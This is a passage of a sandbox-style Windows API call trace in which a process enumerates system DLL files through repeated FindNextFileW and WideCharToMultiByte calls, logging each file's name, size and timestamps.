[0031.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.349] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x1d7c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.350] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.351] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0031.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.352] WideCharToMultiByte (in: 